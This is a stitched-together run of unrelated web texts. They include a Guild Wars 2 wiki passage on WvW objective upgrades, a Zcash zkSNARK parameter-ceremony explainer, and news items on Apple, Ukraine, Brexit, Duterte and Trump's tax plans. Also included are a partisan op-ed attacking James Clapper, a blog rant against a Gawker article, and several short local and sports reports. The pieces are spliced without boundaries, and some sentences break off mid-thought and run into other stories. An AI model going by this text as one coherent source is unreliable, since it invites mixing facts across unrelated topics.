box. Higher tier boxes, which take longer to activate, may be left for a later time, but this requires returning to the objective. However, if the objective is recaptured by an enemy team then all Tactics and Improvements moved from your War Chest are lost. Building [ edit ] A tactic or improvement will begin building when slotted. Building requires 3 minutes and sufficient supply. However, if there is insufficient supply in the depot then the building process is stalled until additional supply in placed into the depot. If the tier timer expires during the building process then the improvement will not become active and the tactic will not become available until the build process completes. If a tactic or improvement is slotted after a tier becomes available then it will begin building for 3 minutes. Activation [ edit ] If slotted (configured), both Tactics and Improvements that have completed building become available when the timer for their tier expires. Improvements are passive and become active immediately, but tactics require manual activation using the corresponding Tactivator. Anyone from the claiming guild with the correct permissions can activate an available tactic. If the Public Tactic Activation box has been checked then any allied player can activate an available tactic. Activations generally have a cooldown of 15-20 minutes after use. Effects All allied players in and entering the objective's area of effect receive the active enhancements. However, players will lose these bonuses upon leaving the objective's area of effect. Display [ edit ] To view the upgrade status of any objective, regardless which team owns it, open the WvW Objective Upgrade UI by: Left-clicking the map icon for the objective ( Speaking with the quartermaster at any friendly objective. Timers and Tiers The default screen is automatic objective upgrade status. Click the Guild Claiming tab on the left-side navigation-bar to view the current status of Guild WvW Enhancements. The time remaining to automatically unlock remaining tiers appears on the right side of both panels. Resource camps have 2 tiers. Walled objectives have 3 tiers of objective upgrades that unlock automatically. They are timed-based from the point the objective was captured. Resource camps have 2 upgrades per tier, walled objectives have 4 upgrades per tier. Nothing will speed up or slow down this process except recapture of the objective by an enemy, which removes all upgrades, resets the timer, repairs all gates and walls. Strategy [ edit ] With coordination between guilds, it is possible to dominating the weekly War Score. There are 3 keeps and 4 towers in each Desert Borderlands. If 7 different guilds on the same team with the most WvW enhancements are able to coordinate, they may theoretically capture, claim and hold all the main objectives in any Desert borderlands. Once the main objectives are held, roving attack squads can use them as a base to recapture any minor objective (camps and shrines). Understanding the benefits of maintaining control of a keep's shrines offers significant advantages to defenders. Objectives become steadily stronger the longer they are held. If an objective is held more then 6 hours then the combination of auras, tactics, improvements and automatic WvW objective upgrades may make it virtually invulnerable to attack. A small force can hold off many times their number of attackers indefinitely. Only a small number of players needs to defend each objective. If their objective is attacked and they are able to build an Emergency Waypoint then allied players may come quickly to help defend the objective once a call for help is issued by the defenders. If the attacking force veers off to attack another objective rather then using another emergency waypoint, the (now) much larger defensive force may sally forth and attack. Notes [ edit ] If your guild has a prior claim on another WvW map then you will receive the same warning, but that claim will not be lost when the new claim takes effect. Objective upgrades are not available for structures in Edge of the Mists. There is no cost to changing which objective is being held by the guild. If your guild has a prior claim then a warning is given that the new claim automatically releases the prior claim on the current WvW map. All tactics and improvements slotted into the prior objective will remain, but may be overwritten if a new guild claims the objective. [ verification requested ] Trivia [ edit ] The 23-Oct-2015 Guild Wars 2: Heart of Thorns release completely replaced the ways a guild can claim and enhance an objective via Guild Officers. Guild Wars 2: Heart of Thorns removed structure upgrades and replaced them with objective upgrades. Formerly, speaking to the main defender after capture was required to claim an objective and the quartermaster did not participate in Guild Claiming. External References [ edit ] Approximately every three hours, it is important to win the Collect power cores and return them to a research camp to help charge the Skysplitter (80) event. Conversely, prior to attacking an enemy-held walled objective, winning this event will weaken the gates of enemy objectives.Earlier this week, a video was uploaded to YouTube by Brooke Amelia Paterson which showed off the iPhone X. The footage was apparently captured in the cafeteria of Apple's headquarters in Cupertino but was taken down by Paterson after a request by the company. While the amateur overview of the flagship smartphone didn't really cover anything that hadn't been revealed in Apple's unveiling of the device back in September, codenames of unreleased products contained within the Notes app may have been inadvertently shown off. In a new video uploaded by the YouTuber, Peterson has stated that her father, an RF engineer, has been let go by the Cupertino giant. Despite her plea of ignorance that recording video on company premises was a violation of company policy, Peterson's father took full responsibility for the unauthorized video. Speaking about the turn of events, the YouTuber said: "At the end of the day when you work for Apple it doesn't matter how good of a person you are. If you break a rule they just have no tolerance." Despite the unfortunate outcome for the engineer, Peterson has said that she isn't mad at Apple and that it hasn't deterred her from buying the company's products. However, it remains a timely reminder for employees in privileged positions, particularly in tech companies, that any contravention of social media and video recording policies can carry some very serious consequences.At its core, Zcash’s privacy technology relies on a novel cryptographic tool called a zkSNARK – a small zero-knowledge proof that is cheap to verify. Zcash will be the first to employ this powerful tool on a large scale. For these zkSNARKs to work, a setup phase is required where the “system parameters” are generated. This setup phase is similar to the setup phase of a public-key cryptosystem, but with a catch: As in the public-key cryptosystem, a pair (:math:`\mathsf{privkey},` :math:`\mathsf{pubkey)}` is generated, but then :math:`\mathsf{privkey}` is destroyed. Indeed, it will be essential for the integrity of the system that after the setup phase nobody possesses :math:`\mathsf{privkey}.` :math:`\mathsf{pubkey}` corresponds to the required system parameters. :math:`\mathsf{privkey}` corresponds to what has been called the “toxic waste” here, and possessing it enables counterfeiting new coins (but does not enable violating the privacy of other users’ transactions). To reduce risk, Zcash has designed a multi-player protocol where :math:`\mathsf{pubkey}` will be generated. The protocol has the property that :math:`\mathsf{privkey}` now corresponds to the concatenation of all participants’ secret randomness. Thus, :math:`\mathsf{privkey}` will be destroyed unless all of the participants are dishonest or compromised. The purpose of this post is to give a simplified explanation of what :math:`\mathsf{pubkey}` looks like, and how the protocol for generating it works. What :math:`\mathsf{pubkey}` looks like Suppose :math:`g` is a generator of a group :math:`G` where the discrete log is hard. We assume :math:`G` has order :math:`r` for some prime :math:`r,` and we write group operations additively. So for :math:`s\in \mathbb{F}`, where :math:`\mathbb{F}` is the field of size :math:`r`, we can write :math:`s\cdot g` to denote scalar multiplication of :math:`g` by :math:`s`; i.e. :math:`s\cdot g` is obtained by adding :math:`s` copies of :math:`g`. A simplified version of (:math:`\mathsf{privkey},` :math:`\mathsf{pubkey)}` is that :math:`\mathsf{privkey}` is simply a uniformly random element :math:`s\in \mathbb{F}^` and :math:`\mathsf{pubkey}` is the sequence of group elements :math:`\mathsf{pubkey}=` :math:`(g,s\cdot g, s^2\cdot g,\ldots, s^d\cdot g)` Above, :math:`\mathbb{F}^` denotes the set of all non-zero elements of :math:`\mathbb{F}.` How :math:`\mathsf{pubkey}` is generated We’ll say a few words later about why :math:`\mathsf{pubkey}` looks like this and how it is used, but let’s concentrate for now on designing the protocol for generating :math:`\mathsf{pubkey}.` Let’s fix :math:`d=2` for simplicity; and also omit the first :math:`g` element from :math:`\mathsf{pubkey}`, as it’s straightforward to generate that. Suppose we have two parties, Alice and Bob, that wish to generate a valid public key :math:`\mathsf{pubkey}=` :math:`(s\cdot g, s^2\cdot g)` for the system. They wish to do so in a way that will ensure neither of them will know :math:`s.` Let’s make it simpler first: suppose they just want to generate :math:`s\cdot g` (again, in a way that neither will know :math:`s)`. They use the following protocol: Alice chooses a random :math:`a\in \mathbb{F}^`, and sends :math:`M_1:= a\cdot g` to Bob. Bob then chooses a random :math:`b\in \mathbb{F}^` and multiplies :math:`M_1` by :math:`b`. He sends back the message :math:`M:= b\cdot M_1` as their joint output. At the end of the protocol, we have :math:`M=b\cdot a \cdot g = (a b)\cdot g`. Let’s denote :math:`s:= a b`. Note that Bob does not learn :math:`a` from the message :math:`M_1,` as we are assuming the discrete log is hard in :math:`G`. Same for Alice and :math:`b.` In particular, neither knows :math:`s` which is the product of :math:`a` and :math:`b`. For any fixed :math:`a\in \mathbb{F}^`, :math:`a b` is a random element of :math:`\mathbb{F}^` when :math:`b` is random. So even if Alice cheats in the sense that she didn’t choose :math:`a` randomly as she was supposed to, e.g. she always chooses :math:`a=4`, :math:`s` will be random. Same is true for Bob cheating and not choosing a random :math:`b.` So as long as one of them follows the protocol correctly, :math:`M=s\cdot g` will be of the right form. Now let’s try to use a similar idea for generating :math:`(s\cdot g, s^2\cdot g)`: Alice chooses a random :math:`a\in \mathbb{F}^,` and sends :math:`(A,B)` where :math:`A:= a\cdot g` and :math:`B := a^2\cdot g.` Bob chooses a random :math:`b\in \mathbb{F}^,` and sends :math:`M=(b\cdot A, b^2\cdot B).` If Alice and Bob follow the protocol, we get :math:`M= (b a \cdot g, b^2 a^2 \cdot g) = ( a b\cdot g, (a b)^2\cdot g).` So this vector is of the right form for :math:`s:= a b.` Here’s one problem: What if Bob cheats and multiplies :math:`B` by some :math:`c eq b^2`? So we get :math:`(a b\cdot g, a^2 c \cdot g),` which is not of the form :math:`(s\cdot g, s^2\cdot g)` for any :math:`s.` We need to somehow check that our output vector is of the form :math:`(s\cdot g, s^2\cdot g)` for some :math:`s.` In many groups, this is conjectured not to be efficiently doable – this is what’s called the square decisional Diffie-Hellman assumption. However, in our setting we are working with a group that has a bilinear pairing. This is a map :math:`e:G\times G\to G_T,` into a group :math:`G_T` also of order :math:`r` with generator :math:`\mathbf{g},` written multiplicatively, such that :math:`e(a\cdot g, b\cdot g) = \mathbf{g}^{a b}` for any :math:`a,b\in\mathbb{F}.` This gives us the following way to check the output :math:`M` has the right form. We simply check if :math:`e(g,B) = e(A,A).` Let’s see that if nobody cheated, this check will pass. When nobody cheats we have :math:`A=s\cdot g,` and :math:`B=s^2\cdot g.` So :math:`e(g,B) = e(g,s^2\cdot g) =\mathbf{g}^{s^2}`, and also :math:`e(A,A) = e(s\cdot g,s\cdot g) = \mathbf{g}^{s^2}.` One can do a similar computation to see that when :math:`M` is not of this form, these two values will differ and the test will fail. How :math:`\mathsf{pubkey}` is used Recall that a polynomial :math:`P` of degree :math:`d` over :math:`\mathbb{F}` is an expression of the form :math:`P(X) = a_0 + a_1\cdot X + a_2\cdot X^2 + \ldots + a_d\cdot X^d` We can evaluate a polynomial at a point :math:`s\in \mathbb{F}` by substituting :math:`s` for :math:`X,` and computing the resultant sum. A useful fact is that if :math:`P` and :math:`Q` are different polynomials of degree at most :math:`d,` they can agree on at most :math:`d` points. In Zcash the sender needs to construct two degree :math:`d` polynomials :math:`P` and :math:`Q` in a certain way, and a lot of mathematical magic ensures that they can make them the same polynomial, i.e., get :math:`P=Q,` only if the transaction is valid. :math:`\mathsf{pubkey}` can now be used to test if :math:`P` and :math:`Q` are equal at a point :math:`s` not known by the sender. Say :math:`P(X) = a_0 + a_1\cdot X + a_2\cdot X^2 + \ldots + a_d\cdot X^d` and :math:`Q(X) = b_0 + b_1\cdot X + b_2\cdot X^2 + \ldots + b_d\cdot X^d` Using :math:`\mathsf{pubkey}=` :math:`(g,s\cdot g, s^2\cdot g,\ldots, s^d\cdot g),` the verifier can compute :math:`P(s)\cdot g = a_0\cdot g + a_1 s \cdot g + a_2s^2 \cdot g + \ldots + a_d s^d\cdot g` and compute :math:`Q(s)\cdot g` similarly. The verifier can then check if they are equal. Since the sender of a non-valid transaction has to construct distinct :math:`P` and :math:`Q` without knowing :math:`s,` the chance that :math:`P(s)=Q(s)` is very small. Disclaimer Please note, this post is a significantly simplified presentation of the underlying protocol. A detailed description can be found in the whitepaper. References Our zkSNARKS use SCIPR Lab’s implementation of the Pinnochio protocol, which in turn is based on the work of Gennaro, Gentry, Parno and Raykova. Our protocol for parameter generation builds on a previous work of Ben-Sasson, Chiesa, Green, Tromer and Virza.Gawker, which sucks, just published this remarkable bit of drivel. Every line in it is wrong and I suggest you read the whole thing to get a sense of the magnitude of its wrongness. From the scare quotes around "crime" to describe "taking something that is not yours" to the admonition that you shouldn't call a fat child who steals from you fat because, hey, what about his feels to describing the actual victim of the actual crime as "sociopathic," every single thing about Jordan Sargent's piece is terrible. It's so terrible, in fact, that I half-expected to see one of those enormous "SATIRE" tags Facebook's adopting. Alas, I think he's being serious. Even in this last line which is so astoundingly terrible it's … well, go ahead and read it: "If you are nonviolently mugged by a child, continue to let him run along with his friends. The world will be a better place." This is an objectively false statement. It's not even a bad opinion: it's a factually inaccurate thing to say. The idea that we should just tolerate packs of nonviolent utes grabbing everything that isn't nailed down and running off with it is such an awful one it's hard to fully fathom. Because, I can assure you, if we normalized theft of extremely expensive electronic devices as just another "boys will be boys!" situation, well, lots and lots of extremely expensive electronic devices will be stolen. And here I thought Hamilton Nolan's "editors are dumbos" essay was going to be the stupid thing at Gawker that got me all riled up today. Look, I can't believe this has to be said, but: If a slow, fat child steals your stuff you should not only chase that slow, fat child down and have him arrested but also humiliate him as harshly as you can and as publicly as you can in the hopes that other slow, fat children will be deterred from doing the same thing. And even if it deters exactly zero slow, fat children from embarking on a similar life of crime, you should do so anyway because stealing is wrong and thieves should be punished. Decline. It's a choice. Please don't make it.Senior American military officers are discussing the possibility of providing Ukraine with more precise intelligence that would allow it to target missiles held by pro-Russian forces, US officials said Monday. But no decision is imminent and some officials are concerned such a move could backfire by escalating the conflict between Ukraine and the rebels backed by Moscow. “That’s part of the discussions,” said one defense official, who spoke on condition of anonymity, referring to the possible enhanced intelligence sharing. “It’s all part of looking at how we can help the Ukrainians,” the official told AFP. But he added there were risks in providing Ukrainian forces with information that could help them strike at pro-Russian fighters in the country’s east. The New York Times first reported that the Pentagon and spy agencies were looking at sharing more precise, real-time intelligence with Kiev to enable its military to go after surface-to-air missiles blamed for taking out several of its aircraft. The White House has yet to hold a debate on the issue among high-level officials, the paper reported over the weekend. A second Pentagon official downplayed the likelihood of the move and underlined the dangers involved. “There’s not enough military equipment that Washington could provide to counter Russian influence,” said the official, who spoke on condition of anonymity. “There’s a risk that the more weapons we provide to the Ukrainians, the more Russians escalate and step up their role,” the official said. For the moment, President Barack Obama’s administration has provided only limited intelligence to Ukraine and has avoiding supplying weapons to Kiev. Instead, Washington has favored diplomacy, urging European allies to impose tougher sanctions on Moscow in hopes of forcing President Vladimir Putin to back off of his assertive stance on Ukraine. Washington has accused Russia of expanding its military support for the separatists in recent weeks with deliveries of heavy weapons and last week alleged Russian units were firing artillery across the border at Ukrainian forces. The Pentagon said Monday there has been no let-up in Russia’s military buildup near Ukraine, including arms deliveries and training of separatists at a major staging area outside of Rostov. “I can tell you that last week we saw a column of over 100 Russian vehicles moving into Ukraine,” spokesman Colonel Steven Warren told reporters. The column was unusually large and reinforced US concerns about Russia’s actions in and around Ukraine, he said. Pro-Russian separatists are suspected by the West of using SA-11 missiles to shoot down a Malaysian airliner on July 17, in an allegedly inadvertent strike by rebels who have targeted Ukrainian military aircraft.Vals Adventure is the story of a purple bunny named Val who has a spirit of adventure and embarks in a quest to retrieve her village treasure despite everyones disbelief in her. This is the description of Vals Adventure, my game in development, at the moment twitter has been my chosen place to post updates, but it is time to give Val the position she deserves in my blog. I started to work on the videogame some months ago with the expectation of create a quality game and to challenge myself as a game developer. I will be writing about the game process until now, there are very exiting things I want to share about it. But just for now, enjoy this beautiful screenshots: There must be always a nice GIF Conversations For real! Others will help Val through her journey and build the story that will shape her world. GamePlay The best part of games is to play them. Here are some chunks of the game There is more, you will see. Worth to say those are not final pics, in fact they are old screenshots, for sure many things will be improved and more to be added. This was just a glimpse of what I have made, soon you will get to know much more. Keep eyes open!Infowars December 13, 2008 Source: glockfaq.com A d v e r t i s e m e n t Desert Storm Glock This was a 1991 series of 1000 Glock 17s which had special engraving on it. A list of names of all the coalition countries is engraved down the top of the slide; “Operation Desert Storm/January 16-February 27, 1991” is engraved on the right side. On the left side is “New World Order/Commemorative”. The first 15 Desert Storm Glocks were special presentation models and had the special “bright black” finish. The special engraving on these was also slightly altered from the standard. These pistols were supposed to go to: UD000US: George Bush, Commander-in-Chief UD001US: Gen. H. Norman Schwartzkopf III (Commander-in-Chief, CentCom) UD002US: James Baker III (Secy of State) UD003US: Gen. Colin Powell (Chairman, Joint Chiefs of Staff) UD004US: Dick Cheney (Secy of Defense) UD005US: Brent Scowcroft (National Security Advisor) UD006US: Lt. Gen. Thomas Kelly UD007US: Lt. Gen. Chuck Horner (Commander, Air Forces, CentCom) UD008US: Maj. Gen. Robert B Johnston (Chief-of-Staff, CentCom) UD009US: Lt. Gen. Calvin Waller (Dpty Commander-in-Chief, CentCom) UD010US: Lt. Gen. Walter Boomer (Commander, I MEF) UD011US: Vice Adm. Stanley Arthur (Commander, Naval Forces, CentCom) UD012US: Maj. Gen. William “Gus” Pagonis (Chief of Logistics, CentCom) UD013US: Brig. Gen. Richard Neal (Operations Ofcr., CentCom) Part of the special engraving was these men’s names and ranks engraved on the slide. In addition all of these special presentations along with the next 35 Desert Storm Glocks came with the Wooden Display case made specially for the Desert Storm Glocks. The remaining 950 Desert Storm Commemoratives came in the standard Glock Box, but with desert camoflage labels. [MakeMineA10mm]” More at link: http://www.glockfaq.com/rare.htm#desert Operation Desert Storm Commemorative Glock 1 of 1000 http://www.topglock.com/pictures.htmMichel Barnier, the EU’s chief Brexit negotiator, has told member states that the British government has just 48 hours to agree a text on a potential deal or it will be told that negotiations will not move on to the next stage. Barnier informed EU ambassadors that Downing Street had told him a potential solution was being worked out that could possibly satisfy both Northern Ireland’s Democratic Unionist party and the Republic of Ireland, but that it had yet to be signed off by any of those involved. Another meeting of diplomats of the 27 member states has been pencilled in for Friday evening, should the UK find an agreement with the DUP on a solution to avoiding a hard border on the island of Ireland. There were signs that progress was being made towards a deal to avoid a hard border on the island of Ireland. At a press conference the Irish prime minister Leo Varadkar said Theresa May told him she would come back with fresh proposals late on Wednesday or Thursday. If the UK fails to agree a joint position with the European commission by Friday, the member states informed Barnier
assassination of police officer Miosotis Familia,” Patrolmen’s Benevolent Association president Patrick Lynch, said, according to WPIX-TV. “We have seen too often the unbalanced act out against NYC police officers with deadly effect.” Ed Mullins, who represents NYPD sergeants, told the New York Post that Emmanuel would have “killed police officers” if he managed to wrestle the gun away from the officer. Dennis Quirk, president of the New York State Court Officers Association, declared, “This idiot should be removed from the bench.” The judge has declined all requests for comment. According to NYC Office of Court Administration records, Baily-Schiffman normally hears lawsuits and not criminal matters, so it isn’t clear why she was handling criminal arraignments. She is now listed as an acting Supreme Court Justice but for many years was on the bench in civil court where legal disputes involving less than $25,000 are heard. The NYPD sent an alert out to all officers. AdvertisementsPresident Rodrigo Duterte has said the Philippines is willing to hold joint military exercises with China and Russia, while reiterating that he will no longer allow war games with longtime ally the United States. Duterte made the remarks in a TV interview broadcast on Monday, ahead of a four-day visit to Beijing aimed at improving ties that soured over competing claims in the resource-rich South China Sea. Asked if he would consider joint military drills with China or Russia, Duterte told Hong Kong-based Phoenix Television: "Yes, I will. I have given enough time for the Americans to play with the Filipino soldiers." Duterte also repeated he would no longer allow joint exercises with the US, the Philippines' main defence ally and supplier of military hardware. OPINION: Rodrigo Duterte's pivot to China "This will be the last. It has been programmed," Duterte said. Duterte has sought to dramatically reshape his nation's foreign relations since taking office on June 30, by pivoting towards China and Russia while moving away from the US. The Philippine president has been angered by US criticism of his war on drugs, which has claimed more than 3,700 lives, and praised China and Russia for showing him "respect". But Duterte, signalling his shift is for pragmatic reasons, has also repeatedly ridiculed the US for what he sees as its weakening economic and military influence around the world. He has also stirred controversy after cursing US President Barack Obama ahead of a bilateral meeting, which was later cancelled. Later, he was quoted as telling the US leader to "go to hell". Business entourage Duterte is bringing an entourage of hundreds of businessmen with him to Beijing on Tuesday, and Philippine media have said deals worth billions of dollars are expected to be announced during the trip. Asked if he would seek to buy military equipment from China during his visit, Duterte told Phoenix Television: "Yes, but not really in (large) numbers." Duterte said he would also need small, fast-attack boats from China to fight "terrorism". "If China does not help us in this endeavour, we will have a hard time fighting terrorism," he said without elaborating. Relations between the Philippines and China worsened under Duterte's predecessor Benigno Aquino, who tried to challenge Beijing's expansionism in the South China Sea. To counter China, Aquino allowed a much greater US military presence in the Philippines. He also filed a legal case at a UN-backed tribunal, which ruled in July that China's claims to most of the sea had no legal basis. Beijing refused to accept the ruling. Duterte has said he does not want to use the verdict to pressure China. But on Sunday, he told local reporters he will raise the tribunal ruling with leaders in Beijing, adding that he "will not bargain anywhere". "We will continue to insist on what is ours," he said.A former top intel official under President Obama asserted Sunday that President Trump’s phones were not tapped, contradicting a claim made by the current president.“Obviously, I can’t speak officially anymore, but I will say that for the part of the national security apparatus that I oversaw as [Director of National Intelligence], there was no such wiretap activity mounted against the president-elect at the time or as a candidate or against his campaign,” James Clapper said Sunday on NBC’s “Meet the Press.”Clapper maintained that he would’ve been told of there was a Foreign Intelligence Surveillance Act court order to survey Trump’s phones on “something like this.”“I can deny it,” Clapper said, asserting that an order related to Trump or Trump Tower does not exist to his “knowledge.” Former Director of National Intelligence James Clapper said on Sunday that he would have been aware of any FISA court-ordered surveillance of Trump Tower and the Trump surrogates within during the campaign by the Obama administration., He says he was not, implying there was none: Clapper may think that the Obama administration is incapable of such an act, the same Obama administration that used the IRS in a way Richard Nixon only dreamed of in targeting the Tea Party movement. Such an act would indeed make Watergate look like, well, a third-rate burglary. Clapper forgets as well how the NSA and the Obama administration spied on world leaders, starting with German Chancellor Angela Merkel: President Barack Obama knew of the organization’s spying on German Chancellor Angela Merkel -- and approved of the efforts, a National Security Agency official has reportedly told a German newspaper. The Economic Times writes the “high-ranking” NSA official spoke to Bild am Sonntag on the condition of anonymity, saying the president, “not only did not stop the operation, but he also ordered it to continue.” The Economic Times also reports the official told Bild am Sonntag that Obama did not trust Merkel, wanted to know everything about her, and thus ordered the NSA to prepare a dossier on the politician. The Obama administration spied on many world leaders and, speaking of interfering in elections, interfered in the Israeli election in an attempt to unseat Benjamin Netanyahu. The State Department paid hundreds of thousands of dollars in taxpayers grants to an Israeli group that used the money to build a campaign to oust Prime Minister Benjamin Netanyahu in last year’s Israeli parliamentary elections, a congressional investigation concluded Tuesday. Some $350,000 was sent to OneVoice, ostensibly to support the group’s efforts to back Israeli-Palestinian peace settlement negotiations. But OneVoice used the money to build a voter database, train activists and hire a political consulting firm with ties to President Obama’s campaign — all of which set the stage for an anti-Netanyahu campaign, the Senate Permanent Subcommittee on Investigations said in a bipartisan staff report. Of course, the Obama administration was not above surveillance of the press and treating respected reporters as criminals. Take the case of Fox News reporter James Rosen, named by the Obama administration as a criminal co-conspirator in a case involving violations of the Espionage Act: The Justice Department named Fox News's chief Washington correspondent James Rosen "at the very least, either as an aider, abettor and/or co-conspirator" in a 2010 espionage case against State Department security adviser Stephen Jin-Woo Kim. The accusation appears in a court affidavit first reported by the Washington Post. Kim is charged with handing over a classified government report in June 2009 that said North Korea would probably test a nuclear weapon in response to a UN resolution con demning previous tests. Rosen reported the analysis on 11 June under the headline 'North Korea Intends to Match UN Resolution With New Nuclear Test'. The FBI sought and obtained a warrant to seize all of Rosen's correspondence with Kim, and an additional two days' worth of Rosen's personal email, the Post reported. The bureau also obtained Rosen's phone records and used security badge records to track his movements to and from the State Department. The James Clapper who denies Obama administration spying on the Trump campaign is the same James Clapper who once lied to Congress, saying that the NSA wasn’t conducting surveillance of the American people. As U.S. News and World Report noted, his recent resignation didn’t assuage critics who believe James Clapper, like other Obama administration personnel, dodged a perjury bullet when he testified before Congress on the issue of NSA surveillance of American citizens: Some lawmakers reacted to the long-expected resignation announcement from Director of National Intelligence James Clapper on Thursday by wishing him an eventful retirement, featuring prosecution and possible prison time. The passage of more than three years hasn’t cooled the insistence in certain quarters that Clapper face charges for an admittedly false statement to Congress in March 2013, when he responded, “No, sir" and "not wittingly” to a question about whether the National Security Agency was collecting “any type of data at all” on millions of Americans. About three months after making that claim, documents leaked by former NSA contractor Edward Snowden revealed the answer was untruthful and that the NSA was in fact collecting in bulk domestic call records, along with various internet communications. To his critics, Clapper lied under oath, a crime that threatens effective oversight of the executive branch. In an apology letter to lawmakers, however, Clapper said he gave the “clearly erroneous” answer because he “simply didn’t think of” the call-record collection. Clapper later told MSNBC he considered the question akin to asking, “When did you stop beating your wife?” and so gave the “least untruthful” answer. Critics who say president-elect Donald Trump has no right to disparage our good and faithful intelligence servants or to be skeptical of the intelligence they gather might be willing to accept “least untruthful” answers but others are not. As Investor’s Business Daily editorialized in June 2013 after Clapper’s testimony: Director of National Intelligence James Clapper struggles to explain why he told Congress in March that the National Security Agency does not intentionally collect any kind of data on millions of Americans. "I responded in what I thought was the most truthful, or least untruthful, manner by saying 'no,'" Clapper told NBC News on Sunday. Least untruthful? Lying to Congress and the American people is just that, except in Clapper's mind. And it seems to depend on the meaning of "collect," a reminder of President Bill Clinton's defense that charges of his lying depended on the meaning of the word "is." The record of James Clapper and the Obama administration on truthfulness is suspect. The Obama administration has spied on world leaders, American citizens, and the press. It is said that Trump has provided no proof of Obama administration surveillance, which is hard to do in a tweet. But Breitbart’s Joel Pollak has put together an interesting timeline of the surveillance scenario, including not one, but two FISA requests with such items as: 1. June 2016: FISA request. The Obama administration files a request with the Foreign Intelligence Surveillance Court (FISA) to monitor communications involving Donald Trump and several advisers. The request, uncharacteristically, is denied… 4. October: FISA request. The Obama administration submits a new, narrow request to the FISA court, now focused on a computer server in Trump Tower suspected of links to Russian banks. No evidence is found -- but the wiretaps continue, ostensibly for national security reasons, Andrew McCarthy at National Review later notes. The Obama administration is now monitoring an opposing presidential campaign using the high-tech surveillance powers of the federal intelligence services…. 7. January: Times report. The New York Times reports, on the eve of Inauguration Day, that several agencies -- the Federal Bureau of Investigation (FBI), the Central Intelligence Agency (CIA), the National Security Agency (NSA) and the Treasury Department are monitoring several associates of the Trump campaign suspected of Russian ties. Other news outlets also report the existence of “a multiagency working group to coordinate investigations across the government,” though it is unclear how they found out, since the investigations would have been secret and involved classified information. Yes, that’s the same Brietbart Trump adviser Steve Bannon ran. But if there’s a credibility contest between Clapper, the Obama administration, and Team Trump, my money is on the latter. Daniel John Sobieski is a freelance writer whose pieces have appeared in Investor’s Business Daily, Human Events, Reason Magazine and the Chicago Sun-Times among other publications.Man in hospital with head injuries after Brick Lane attack Police cordoned off Brick Lane Carmen Valino POLICE are appealing for witnesses after a man was seriously assaulted in Brick Lane in the early hours of this morning (Monday). Share Email this article to a friend To send a link to this page you must be logged in. The 24-year-old suffered severe head injuries when he was attacked outside the Brickhouse restaurant and cabaret club in the Truman Brewery around 2am. Officers believe he was assaulted and then hit his head on a car parked in the street but said the incident is not being treated as a traffic accident. He was taken to an East London Hospital where his condition is described as serious but not life-threatening and a large area of Brick Lane was cordoned off for forensic evidence gathering. Cops believe there was a large crowd outside the Truman Brewery at the time of the assault and are appealing for witnesses to contact them. Anyone with information can contact Det Con Richard Beeton from the violent crime unit at Limehouse Police Station on 0300 123 1212 or calling crime stoppers on 0800 555 111.SOUTH BEND, Ind. -- Former Notre Dame quarterback Tommy Rees is returning to his alma mater as an assistant coach. The Fighting Irish announced Rees is joining head coach Brian Kelly's staff as quarterbacks coach. He is part of a major overhaul to Kelly's staff that includes new offensive and defensive coordinators. The Irish went 4-8 last season. Offensive coordinator and quarterbacks coach Mike Sanford left to become Western Kentucky's head coach. Kelly hired Chip Long away from Memphis to be offensive coordinator. The Irish will be breaking in a new starter next season after DeShone Kizer decided to make himself eligible for the NFL draft and Malik Zaire transferred. Brandon Wimbush, a junior with no starts, is likely to start spring practice atop the depth chart. "As a former quarterback at Notre Dame, Tom also has a rare ability to truly relate with the quarterbacks on our roster," Kelly said in a statement. "He's literally sat in their seat, dealt with the ups and downs, faced the criticism, deflected the praise, and all that comes with playing the position at Notre Dame." Rees was a three-year starter who graduated in 2013 as one of the most prolific passers in school history. He threw for 7,670 yards and 61 touchdowns. "When I finished my playing career and graduated from Notre Dame, I wanted to do two things," Rees said in a statement. "First, I wanted to coach, and second, at some point in my career I hoped to get an opportunity to return and do it at my alma mater. I didn't know when or if this opportunity might present itself, but I'm so grateful and honored that it did." The Illinois native spent last season as an assistant with the Chargers. He was a graduate assistant at Northwestern in 2015.Donald Trump holds up a pen to give away after signing H.J. Res. 57, which overturns a rule on school accountability standards. Credit:Bloomberg Then there's the $US1 trillion over a decade that is no longer available to fund Trump's sweeping tax cuts because of the failure last week to repeal Obamacare – and in particular, its suite of taxes that will continue to be paid by higher income earners for as long as the former president's healthcare regime operates. And under a plan drafted by House Speaker Paul Ryan – yes, the same author as for the healthcare makeover which bombed out last week – Washington would have to borrow as much as $US2.5 trillion over 10 years to pay for its proposed tax cuts. Similarly, election-time costings of Trump's tax plan estimated it would add as much as $US5 trillion to the deficit. Neither will appeal to deficit hawks in the Republican ranks. Trump, on the other hand, is banking on his sweeping tax cuts - the vast bulk of which is going to taxpayers earning $US143,000 or more - will generate economic growth and jobs – and thereby, greater tax revenue for the government. The President would collapse the current seven income tax brackets to three and reduce the corporate tax rate from 35 per cent to just 15 per cent. Treasury Secretary Steven Mnuchin listens at right as President Donald Trump speaks during a meeting on the Federal budget last month. Credit:AP And Trump is proposing a more generous spread of tax cuts than Ryan's plan does for low and middle-income earners. On full implementation, the Trump plan would give an average income earner a cut of around $US1100 a year, compared to just $US60 a year under Ryan's plan. After ten years, 99.6 per cent of the tax relief Ryan proposed would go to the to the wealthiest 1 per cent of Americans, whereas Trump's more populist scheme would deliver about half of the total to the same group, according to analysis by the nonpartisan Tax Policy Centre. Donald Trump stands after signing four bills to nullify some education measures put in place during the Obama administration. Credit:Bloomberg Some observers say that a lesson that Trump might have learnt from last week's searing encounter with Congressional Republicans was that it could be worth reining in his own expectations if it makes victory more certain. Stephen Moore, a Heritage Foundation economist who advised Trump during the presidential campaign, told The New York Times: "They have to have a victory here – but it's going to have to be a bit less ambitious rather than going for the big bang". A US Customs and Border Protection officer checks under the hood of a car as it waits to enter the US from Tijuana, Mexico. Funding for Trump's border wall is under threat. Credit:AP But before the cuts comes the politics. The healthcare brawl has confirmed a belief in the White House that Congress is not to be trusted. So while Trump allowed himself to be steered by Ryan and others on healthcare, a 100-strong US Treasury team is devising a detailed plan by which the administration is proposing to seize leadership in the tax debate. Treasury Secretary Steven Mnuchin is spreading the word that he is the man in the negotiation process. "We've been working diligently since the first days of this administration to develop a tax reform plan that helps achieve our goal of sustained economic growth, provides relief for middle class families and creates a more competitive business environment that supports greater job creation and reinvestment in the American economy," Treasury Department Assistant Secretary for Public Affairs Tony Sayegh said in a statement. Some in Congress are urging the White House to take control, lest the tax debate go the same way as healthcare, because of Trump's seeming greater interest in closing a deal than in being across the detail. But Texas Republican and House Ways and Means Committee Chairman Kevin Brady is pushing back. On Sunday he told Fox News: "It wouldn't make sense to have a separate 